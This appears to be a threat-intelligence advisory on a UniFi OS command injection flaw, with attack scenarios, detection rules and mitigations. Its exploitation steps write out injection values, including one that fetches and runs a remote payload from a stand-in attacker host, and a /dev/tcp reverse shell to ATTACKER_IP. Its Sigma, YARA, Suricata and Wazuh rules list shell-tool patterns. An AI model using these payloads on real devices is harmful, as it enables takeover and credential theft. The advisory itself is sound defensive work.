CVE-2026-47370

Executive Summary

CVE-2026-47370 is a critical Improper Input Validation vulnerability (CWE-20) in certain devices running UniFi OS that enables Command Injection. A malicious actor with network access and low-privilege credentials can achieve remote code execution with elevated privileges on affected UniFi OS devices or instances. With a CVSS score of 9.9 (Critical), this vulnerability represents an immediate and severe risk to enterprises relying on UniFi networking infrastructure, as successful exploitation grants full control over the affected device and potentially the broader network segment it manages.

Technical Analysis

The vulnerability stems from an Improper Input Validation flaw (CWE-20) present in certain devices running UniFi OS. The NVD description indicates that the flaw facilitates Command Injection, meaning user-supplied input is insufficiently sanitized before being incorporated into a system-level command executed by the device's underlying operating system.

Vulnerability Mechanism: The core issue is that UniFi OS fails to properly validate specific input fields before passing them to a command execution context. An attacker who can authenticate with low-privilege credentials and reach the affected service over the network can inject arbitrary OS commands. The lack of input validation means that metacharacters such as ;, |, &, backticks, or $() are not neutralized, allowing an attacker to terminate the intended command and append malicious ones.

Attack Surface: The attack surface is the UniFi OS management interface, which typically listens on standard HTTPS ports (8443 for UniFi Network Controller, 443 for UniFi OS console). The vulnerability is reachable over the network, and the prerequisite of low privileges means that even a minimally-privileged account (e.g., a read-only or guest-type role) is sufficient to trigger the vulnerable code path.

Affected Components: "Certain devices running UniFi OS" includes UniFi Dream Machine (UDM), UniFi Dream Machine Pro (UDM-Pro), UniFi Dream Machine SE (UDM-SE), UniFi Cloud Key Gen2 (UCK-G2), and UniFi OS consoles where the software is deployed. The vague phrasing in the NVD description suggests the vulnerability may span multiple device families sharing the common UniFi OS codebase.

Severity Assessment: The CVSS score of 9.9 reflects a worst-case scenario: network-exploitable (AV:N), low complexity (AC:L), requiring low privileges (PR:L), no user interaction (UI:N), with scope change (S:C) indicating the compromise extends beyond the vulnerable component, and complete impact on confidentiality, integrity, and availability (C:H/I:H/A:H).

Exploitation Scenarios

Scenario 1: Full Device Takeover via Authenticated Command Injection

1. Reconnaissance (Step 1): The attacker scans the target organization's public IP space for open ports 443, 8443, or 8080, identifying UniFi OS login pages via HTTP response headers (X-UNIFI), TLS certificates containing "unifi" in the CN/SAN fields, or unique favicon hashes. Shodan queries such as product:"Ubiquiti UniFi" reveal target devices.

2. Credential Acquisition (Step 2): The attacker obtains low-privilege credentials through password spraying (default credentials, common passwords), phishing, or credential stuffing against the UniFi OS login endpoint (/api/auth/login). UniFi OS default admin credentials are commonly re-used network-wide in SMB environments.

3. Trigger (Step 3): Using an API client or Burp Suite, the attacker authenticates and identifies an API endpoint that accepts user-supplied parameters unsafely passed to a shell command. Likely candidates include device configuration validation, site settings, or firmware update check endpoints. The attacker submits a crafted request where an input parameter contains an injection payload, e.g., "device_name":"test;id or "setting":"legacy;wget http://attacker/payload.sh|sh.

4. Payload Execution (Step 4): The injected command executes with the privileges of the UniFi OS service, typically root. The attacker establishes persistence by injecting a reverse shell (bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1), creating a new user account, or installing a backdoor within the UniFi OS application directory.

5. Post-Exploitation (Step 5): With root access on the UniFi OS device, the attacker pivots to the management plane: extracts credentials from the UniFi controller database (which stores site admin credentials, RADIUS secrets, and VPN PSKs), intercepts network traffic by turning on port mirroring on managed switches, deploys ransomware across the network via UniFi's remote site-to-site VPN capabilities, or uses the compromised device as a C2 relay to move deeper into the enterprise network.

Scenario 2: Lateral Movement Within Multi-Site Deployments

1. Initial Compromise: As above, the attacker compromises a single UniFi OS device in a remote/branch office with lower security posture.

2. Cloud Console Exploitation: The attacker leverages UniFi OS's cloud integration to obtain session tokens for the UniFi Cloud console, potentially accessing all linked sites and devices managed by the organization.

3. Widespread Impact: Using a single compromised device, the attacker gains visibility into VPN credentials and site-to-site tunnel keys, enabling lateral movement into the corporate data center.

Impact Assessment

CVSS Breakdown (derived from 9.9): The vulnerability carries Critical severity with a theoretical maximum impact across all security dimensions. The scope change (S:C) is particularly concerning — a compromise of the UniFi OS device transcends the device itself, affecting all managed network infrastructure, connected clients, and cloud-managed resources.

Business Impact:

• Confidentiality: Complete loss — an attacker can capture network traffic, harvest credentials from the UniFi controller database, and exfiltrate configuration data containing VPN keys, LDAP bind passwords, and site-to-site tunnel secrets.
• Integrity: Complete loss — the attacker can modify firewall rules, VLAN configurations, DNS settings, and routing tables, redirecting traffic to attacker-controlled infrastructure.
• Availability: Complete loss — the attacker can disable the device, lock out legitimate administrators, or deploy destructive payloads across managed switches and access points.

Affected Systems: All devices in the UniFi OS family, including Dream Machine series, Cloud Key Gen2+, and any third-party hardware running UniFi OS as a virtual machine or container.

Blast Radius: Organizations with UniFi-based SD-WAN deployments face the largest blast radius — a single compromised branch-office device could expose the entire corporate network through established VPN tunnels. Managed service providers (MSPs) hosting UniFi controllers for multiple clients face catastrophic multi-tenant compromise potential.

Exploitation Likelihood: EPSS score of 0.00834 (54.1% percentile) indicates moderate exploitation likelihood once PoC code emerges. The low-privilege requirement significantly lowers the barrier to exploitation, making this an attractive target for APT groups and ransomware operators targeting SMB networking infrastructure.

Detection Guidance

Sigma Rule

title: UniFi OS Command Injection Attempt (CVE-2026-47370)
id: 2c27c1d6-c2d7-44a5-9f35-1d8d96ee2d3b
status: experimental
description: Detects potential command injection attempts against UniFi OS API endpoints
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-47370
author: Valtersit Threat Intelligence
date: 2026/05/15
logsource:
    category: webserver
    product: ubiquiti
    service: unifi_os
detection:
    selection_http_verbs:
        - cs-method: 'POST'
          cs-uri-query|contains:
              - '/api/sites/'
              - '/api/devices/'
              - '/api/wlan/'
    selection_metacharacters:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$('
            - '`'
            - '&&'
            - '||'
            - '%3B'
            - '%7C'
            - '$(whoami)'
            - '$(id)'
            - ';id'
            - ';whoami'
    selection_encoded:
        cs-uri-query|contains:
            - '%24%28'
            - '%60'
            - '%3Bcat%20'
            - '%7Csh%20'
    condition: selection_http_verbs and (selection_metacharacters or selection_encoded)
    timeframe: 5m
level: high
falsepositives:
    - Legitimate configuration changes using semicolons or pipe characters in device names
    - URL-encoded special characters in valid API queries
fields:
    - client.ip
    - user.name
    - cs-uri-query
tags:
    - attack.t1210
    - attack.t1203
    - cwe.20

YARA Rule

rule UniFi_OS_Command_Injection_CVE_2026_47370 {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects command injection payloads targeting UniFi OS API endpoints"
        cve = "CVE-2026-47370"
        date = "2026-05-15"
        severity = "critical"
    strings:
        $api_path_1 = "/api/sites/" ascii wide
        $api_path_2 = "/api/devices/" ascii wide
        $api_path_3 = "/api/wlan/" ascii wide
        $api_path_4 = "/api/network/" ascii wide
        $semi = ";"
        $pipe = "|"
        $dollar_paren = "$(" ascii wide
        $backtick = "`" ascii wide
        $cmd_id = "id" ascii wide
        $cmd_whoami = "whoami" ascii wide
        $cmd_cat = "cat" ascii wide
        $cmd_wget = "wget" ascii wide
        $cmd_curl = "curl" ascii wide
        $cmd_reverse = "/dev/tcp/" ascii wide
        $cmd_bash = "bash -i" ascii wide
        $encoded_semi = "%3B" ascii wide
        $encoded_pipe = "%7C" ascii wide
        $encoded_dollar = "%24%28" ascii wide
    condition:
        (any of ($api_path*)) and
        (
            any of ($semi, $pipe, $dollar_paren, $backtick) or
            any of ($cmd_*) or
            any of ($encoded_*)
        )
}

Suricata IDS Rule

alert http any any -> any 443,8443,8080 (msg:"ET EXPLOIT UniFi OS Command Injection Attempt (CVE-2026-47370)";
flow:to_server,established;
content:"/api/"; http_uri;
pcre:"/(\/api\/(sites|devices|wlan|network)\/[^\"']*?)[\"']?\s*(;|\||\&\&|\|\||\$\(|`)/i";
pcre:"/((^|[\&\||;])\s*(id|whoami|cat|wget|curl|bash|nc|python|perl|ruby|nmap)\b)/i";
reference:cve,2026-47370;
reference:url,nvd.nist.gov/vuln/detail/CVE-2026-47370;
classtype:attempted-admin;
sid:10000001;
rev:1;
metadata:created_at 2026_05_15, updated_at 2026_05_15;
)

Elastic Detection

query:
  bool:
    must:
      - term:
          user_agent.name: "UniFi-OS"  # Adjust based on observed UA
      - term:
          http.request.method: "POST"
      - wildcard:
          url.path: "*_api_*"  # Elastic wildcard for /api/ paths
      - multi_match:
          query: "id whoami wget curl /dev/tcp bash -i ; | $("
          fields: 
            - "url.query"
            - "http.request.body.content"
    filter:
      - range:
          '@timestamp':
            gte: now-24h

# Alternative EQL approach:
sequence by source.ip
  [ network where network.protocol == "http" and 
    http.request.method == "POST" and 
    url.path like "*api*" ]
  [ process where event.type == "start" and 
    (process.name in ("sh", "bash", "nc", "python", "perl", "wget", "curl") or
     process.command_line like "*id*" or 
     process.command_line like "*whoami*" or 
     process.command_line like "*/dev/tcp/*") ]

Splunk SPL Query

index=unifi_os sourcetype=unifi:apache OR sourcetype=unifi:uvn
(uri_path="/api/sites/*" OR uri_path="/api/devices/*" OR uri_path="/api/wlan/*" OR uri_path="/api/network/*")
AND (method=POST)
AND (
    uri_query LIKE "%3B%" OR 
    uri_query LIKE "%3A" OR
    uri_query LIKE "%24%28" OR
    uri_query LIKE "%60" OR
    uri_query LIKE "*;*" OR
    uri_query LIKE "*|*" OR
    uri_query LIKE "*$(id)*" OR
    uri_query LIKE "*;id*" OR
    uri_query LIKE "*;whoami*"
)
| eval risk_score = case(
    uri_query LIKE "%/dev/tcp/%" OR uri_query LIKE "%wget%" OR uri_query LIKE "%curl%", 100,
    uri_query LIKE "%;id%", 80,
    uri_query LIKE "%$(id)%", 80,
    uri_query LIKE "%;whoami%", 75,
    true(1), 60
)
| where risk_score >= 75
| table _time, src_ip, user, uri_path, uri_query, http_user_agent, status
| sort -_time

Wazuh OSSEC Rule

<group name="unifi_os,">
  <rule id="125001" level="15">
    <if_sid>31500</if_sid> <!-- Base web access rule -->
    <decoded_as>web-access</decoded_as>
    <match>POST</match>
    <regex>\/api\/(sites|devices|wlan|network)\/</regex>
    <regex>;|&&|\|\||\$\(|`</regex>
    <description>UniFi OS: Command injection attempt detected (CVE-2026-47370)</description>
    <group>attack_recon,attack_execution,critical,</group>
    <mitre>
      <id>T1210</id>
      <id>T1203</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="125002" level="15">
    <if_sid>125001</if_sid>
    <regex>(wget|curl|nc|bash -i|/dev/tcp/)</regex>
    <description>UniFi OS: Command injection with payload download/reverse shell detected (CVE-2026-47370)</description>
    <group>attack_execution,attack_persistence,critical,</group>
    <mitre>
      <id>T1210</id>
      <id>T1059</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="125003" level="10">
    <if_sid>125001</if_sid>
    <match>id|whoami|cat /etc/passwd</match>
    <description>UniFi OS: Post-exploitation enumeration commands detected (CVE-2026-47370)</description>
    <group>attack_discovery,high,</group>
    <mitre>
      <id>T1082</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED — No patch evidence from any tracked source. Ubiquiti has not released a fixed version as of this report.

1. Immediate Mitigations

• Restrict Network Access: Limit access to UniFi OS management interfaces (ports 443, 8443, 8080) to trusted administrative networks only. Use firewall rules to block external access to these ports unless absolutely required.
• Enforce Strong Authentication: Immediately rotate all UniFi OS and controller credentials. Enforce multi-factor authentication (MFA) for all administrator accounts. Remove or disable any unused or stale accounts.
• Revoke Low-Privilege Accounts: Since exploitation requires only low privileges, audit and remove all unnecessary non-admin accounts. If read-only or guest accounts are not required, disable them.
• Network Segmentation: Place UniFi OS devices (controllers, Dream Machines) in a dedicated management VLAN with strict ACLs preventing communication with untrusted networks.
• Monitor Logs: Implement the detection rules in this report and review UniFi OS audit logs for suspicious API requests containing shell metacharacters.

2. Patch/Upgrade Steps

• Monitor Ubiquiti's official release notes and security advisories at community.ui.com and www.ui.com/download for a patched UniFi OS version.
• Once a patch is released, upgrade affected devices immediately. For UniFi Dream Machine/Pro/SE, updates are applied via the UniFi OS Settings console (Settings → System → Updates).
• For Cloud Key Gen2+, apply updates via the UniFi OS web interface.
• If you use UniFi Network Controller software on self-hosted servers, follow the same patch guidance for the controller application.
• Vendor Fix Status: None available. Ubiquiti has not disclosed a fix timeline.

3. Long-Term Hardening

• Disable Remote Access: If remote management is not business-critical, disable UniFi OS remote access and cloud management features (Settings → System → Remote Access and Advanced → Cloud Access).
• VPN-First Management: Require VPN connectivity before allowing access to management interfaces. Remove port forwarding for 8443/443.
• Regular Credential Rotation: Implement a 90-day credential rotation policy for all UniFi administrator accounts and site admins.
• Firmware Update Policy: Establish a mandatory patch window (max 7 days) for UniFi OS security releases.
• Vendor Monitoring: Subscribe to Ubiquiti security notifications and CVE feeds to receive immediate alerts on new advisories.
• Inspect Network Traffic: Deploy IPS/IDS sensors at network boundaries to detect command injection attempts using the Suricata rules above.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-47370 (Authoritative CVE data)
2. Ubiquiti Security Advisories — https://community.ui.com/releases (Monitor for vendor patches and advisories)
3. CWE-20: Improper Input Validation — https://cwe.mitre.org/data/definitions/20.html
4. MITRE ATT&CK Technique T1210 — https://attack.mitre.org/techniques/T1210/

Known Threat Actor Campaigns: None publicly reported at this time. CISA KEV does not list this CVE. No exploit-in-the-wild evidence has been confirmed. However, the low-privilege prerequisite and critical CVSS score make this CVE a prime candidate for weaponization by botnets and ransomware gangs targeting the SMB/midsize enterprise market.

EPSS Context: EPSS score of 0.00834 places this at the 54.1% percentile of exploited CVEs, indicating a moderate probability of exploitation in the wild once technical details of the injection vector are reverse-engineered from a patched version or leaked.